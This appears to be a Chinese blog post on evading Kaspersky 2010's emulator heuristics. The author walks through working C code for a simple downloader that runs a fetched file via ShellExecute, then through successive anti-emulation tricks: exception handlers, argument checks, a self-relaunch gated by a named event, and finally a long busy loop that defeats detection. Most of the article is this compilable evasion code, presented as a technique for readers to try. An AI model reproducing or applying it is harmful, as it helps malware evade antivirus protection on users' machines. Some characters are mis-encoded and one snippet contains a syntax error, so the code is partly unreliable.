卡巴2010虛擬機啟發(fā)式查毒的繞過方法
據(jù)我了解在卡巴7中就有虛擬啟發(fā)式查毒的功能。國內(nèi)就有人在BLOG上發(fā)表了一篇如何突破卡巴7的虛擬機啟發(fā)式查毒的文章[1]??ò?和最新的卡巴2010中仍然具有該功能??ò退够挥梦叶嗾f了,大家都知道。我最近在網(wǎng)上查到有人說卡巴斯基是俄羅斯國家科學(xué)院合作開發(fā)的,軍方和克里姆林宮專用。這個我還真的不清楚了,請原諒我的無知。我先來說下什么是虛擬機啟發(fā)式殺毒。
我認(rèn)為在這里的虛擬機啟發(fā)式殺毒應(yīng)該可以理解為在虛擬機中執(zhí)行和啟發(fā)式殺毒。虛擬機即構(gòu)造一個虛擬執(zhí)行環(huán)境或者說一個仿真的環(huán)境,將病毒等惡意代碼在該仿真的環(huán)境中運行實現(xiàn)自己脫殼等等。該仿真的環(huán)境和用戶計算機的真實環(huán)境是隔離的。
舉個例子:現(xiàn)在的惡意代碼都采用加殼為自己提供保護(hù),尤其是一些已知病毒的變種。當(dāng)采用虛擬機執(zhí)行技術(shù)加殼保護(hù)的惡意代碼仍能被殺毒軟件檢測到,有能力的讀者可以自己實驗一下。
啟發(fā)式指的是自我發(fā)現(xiàn)并推斷或判定事物的方式。啟發(fā)式殺毒通過分析程序指令的序列或者API函數(shù)的調(diào)用順序以及其他惡意代碼與正常程序的不同等經(jīng)驗和知識的組合來判定是否是惡意代碼。這樣的啟發(fā)式殺毒具備某種人工智能特點。它的優(yōu)點不用我多說廢話,舉個例子:Downloader相信大家都知道,最重要的兩個API是URLDownloadToFile和ShellExecute(也可以是其他執(zhí)行一個程序的API)。例如,在使用虛擬機啟發(fā)式殺毒時,當(dāng)被查毒程序的API調(diào)用序列中出現(xiàn)URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的調(diào)用順序是不會被報Downloader的。
可以說由于主動防御技術(shù)的種種缺點,現(xiàn)在各殺毒軟件廠商已經(jīng)將虛擬機殺毒和啟發(fā)式殺毒作為殺毒業(yè)界的追求和探索的目標(biāo)??梢灶A(yù)見到在未來幾年內(nèi)殺毒軟件將不再會出現(xiàn)當(dāng)正常使用系統(tǒng)和軟件時頻繁彈出主動防御窗口的尷尬。接下來將通過上面提到的Downloader例子分析下卡巴的虛擬機啟發(fā)式查毒的特點,并在最后給出一種可能的繞過方法和演示代碼,供各位看官賞玩。
我假設(shè)您已經(jīng)知道什么是Downloader,一個最簡單的Downloader是:
#include "stdafx.h"
#include
#include
#pragma comment (lib,"Urlmon.lib")
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
}
這個程序是使用Visual Studio 2008創(chuàng)建的Win32窗口工程。編譯后卡巴2010直接報Downloader。首先使用了之前提到的xyzreg提到的方法,現(xiàn)在在卡巴2010下已經(jīng)不適用,簡單的測試了一下卡巴2010會把自己模擬成explorer.exe。所以檢查父進(jìn)程是否是explorer.exe的方法不行了,但是如果檢查自己的父進(jìn)程是否是cmd.exe就可以了。當(dāng)然這個實用性并不強,因為要求Downloader必須由cmd.exe啟動。
我覺得應(yīng)該有其他的方法可以逃過虛擬查毒,但是這里只從虛擬查毒本身入手。首先想到的是這個虛擬機和真實環(huán)境是否有區(qū)別?這個回答當(dāng)然是肯定的。但是這些區(qū)別在哪里,這些區(qū)別是否會影響到。是否存在一種情況虛擬機無法虛擬而導(dǎo)致虛擬環(huán)境下無法執(zhí)行到URLDownloadToCacheFile和ShellExecute那就不會檢查到是Downloader了。這個思想很簡單,然后要怎么實現(xiàn)呢。
首先想到虛擬機是否虛擬了異常處理,如果沒有虛擬異常處理,那我們認(rèn)為的制造一個異常,將具有Downloader特性的API調(diào)要放到異常處理程序中不就繞過了嗎。于是有了下面的代碼:
BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
__try
{
*pResult = dividend / divisor;
}
__except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return TRUE;
}
return TRUE;
}
在Downloader的程序入口以參數(shù)divisor為0調(diào)用這個SafeDiv函數(shù),。這樣就會產(chǎn)生一個除0的錯誤。結(jié)果是卡巴報Downloader!看樣子卡巴有對異常處理虛擬的能力。
恩。。。如果我在代碼中添加int 3中斷會發(fā)生什么情況呢?應(yīng)該也虛擬了?,F(xiàn)在就來試試,果然在Downloader入口添加int 3后當(dāng)然是查不出來了,呵呵,程序也運行不了了。接下來就看看能不能找到方法讓程序在真實情況下能運行在,虛擬機下停住了。沒有多久想了一個替代的方法,判斷程序的輸入?yún)?shù)。通過檢查程序的輸入?yún)?shù)來控制程序的執(zhí)行流程。簡單的在Downloader入口添加判斷程序參數(shù)的代碼:
if(strcmp(argv[1],"1")!== 0)
return;
程序運行時輸入?yún)?shù)“1”程序執(zhí)行Downloader的功能,在虛擬機中執(zhí)行時沒有參數(shù)輸入所以程序返回,檢測不到惡意函數(shù)調(diào)用順序。當(dāng)然這樣的惡意代碼是丑陋的,所以我想到使用CreateProcess來啟動Downloader自己的另一個實例。代碼如下:
部分變量聲明和初始化代碼省略。。。
INT32 divisor = 1;
if(argc == 1)
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
ExitProcess(0);
return;
}
if(strcmp(argv[1],"2") == 0)
divisor = 0;
SafeDiv(10,divisor,&Result);
ExitProcess(0);
return;
}
編譯成功后,使用卡巴2010查毒。報Downloader!失望??!將對函數(shù)參數(shù)檢查的方式換成使用“命名對象”的方式:
//定義一個“命名對象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
報Downloader!失望!看樣子卡巴的虛擬機對API的模擬和程序執(zhí)行的流程虛擬很到位!不知道對時間的虛擬的怎么樣?代碼中有Sleep(10000000)的語句會不會影響虛擬查毒的時間呢?根據(jù)我的實驗在其中加入Sleep函數(shù)睡眠很長的一段時間并沒有影響虛擬殺毒查出Downloader的時間,所以估計對時間的虛擬可能不好。將上面的代碼中在CreateProcess調(diào)用之后調(diào)用Sleep睡眠一段較長的時間如5秒,然后調(diào)用CloseHandle關(guān)閉“命名事件”。
如果卡巴遇到Sleep函數(shù)簡單的跳過,則在虛擬機中執(zhí)行的順序?qū)⑹窍葓?zhí)行Sleep后的CloseHandle關(guān)閉事件,然后再進(jìn)入到新實例中創(chuàng)建“命名事件”,在這種情況下就能創(chuàng)建成功,所以程序的執(zhí)行流程不會進(jìn)入到URLDownloadToCacheFile處,以此繞過檢測。但是實際情況時仍然被報Downloader,說明卡巴2010對Sleep等時間相關(guān)的函數(shù)虛擬的也很好。
到這里停下來想想,我們已經(jīng)掌握了卡巴虛擬機執(zhí)行的許多特性了,最理想的方案是在上述方法中進(jìn)行改進(jìn),能達(dá)到對卡巴虛擬機執(zhí)行的時間方面的攻擊。于是想到使用大量無意義的代碼塊來模擬Sleep函數(shù)的功能,原因是對于大量循環(huán)的無意義操作卡巴是否完全虛擬其執(zhí)行,我想應(yīng)該是沒有的。于是代碼變?yōu)椋?/p>
#include "stdafx.h"
#include
#include
#include
#pragma comment (lib,"Urlmon.lib")
// Global Variables:
HINSTANCE hInst; // current instance
// Forward declarations of functions included in this code module:
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szMutex[] = L"1111";
HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
for(int i = 0;i < 1000000000; i++)
__nop();
CloseHandle(hEvnet);
return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
}
編譯。對該文件執(zhí)行查毒,沒有檢測到威脅。成功了??偟恼f來,卡巴的虛擬機沒有真正的像真實環(huán)境一樣對像。
for(int i = 0;i < 1000000000; i++)
__nop();
這樣的語句塊進(jìn)行真正的執(zhí)行,導(dǎo)致虛擬機的時間和真實環(huán)境下的時間不一致導(dǎo)致在虛擬機中和真實環(huán)境下的執(zhí)行流程的不一樣。這樣就實現(xiàn)了對卡巴虛擬查毒的繞過??偟恼f來,卡巴斯基是一個很強大的殺毒軟件,殺毒能力確實也比較強,但是也不應(yīng)該過分相信卡巴。有人
說的好,要讓人正確認(rèn)識卡巴斯基這個優(yōu)秀的殺毒軟件。
另外,本文的基于超時的攻擊思路和這篇2年前的文章[2]頗有一番異曲同工之妙,而”Timing Attack”在Google Scholar上的搜索結(jié)果有1,110,000[3]條!希望通過本文,能夠讓各位看官重新認(rèn)識Timing Attack的奇妙之處。
最后,嚴(yán)重的感謝一下c4pr1c3的幫助和關(guān)懷。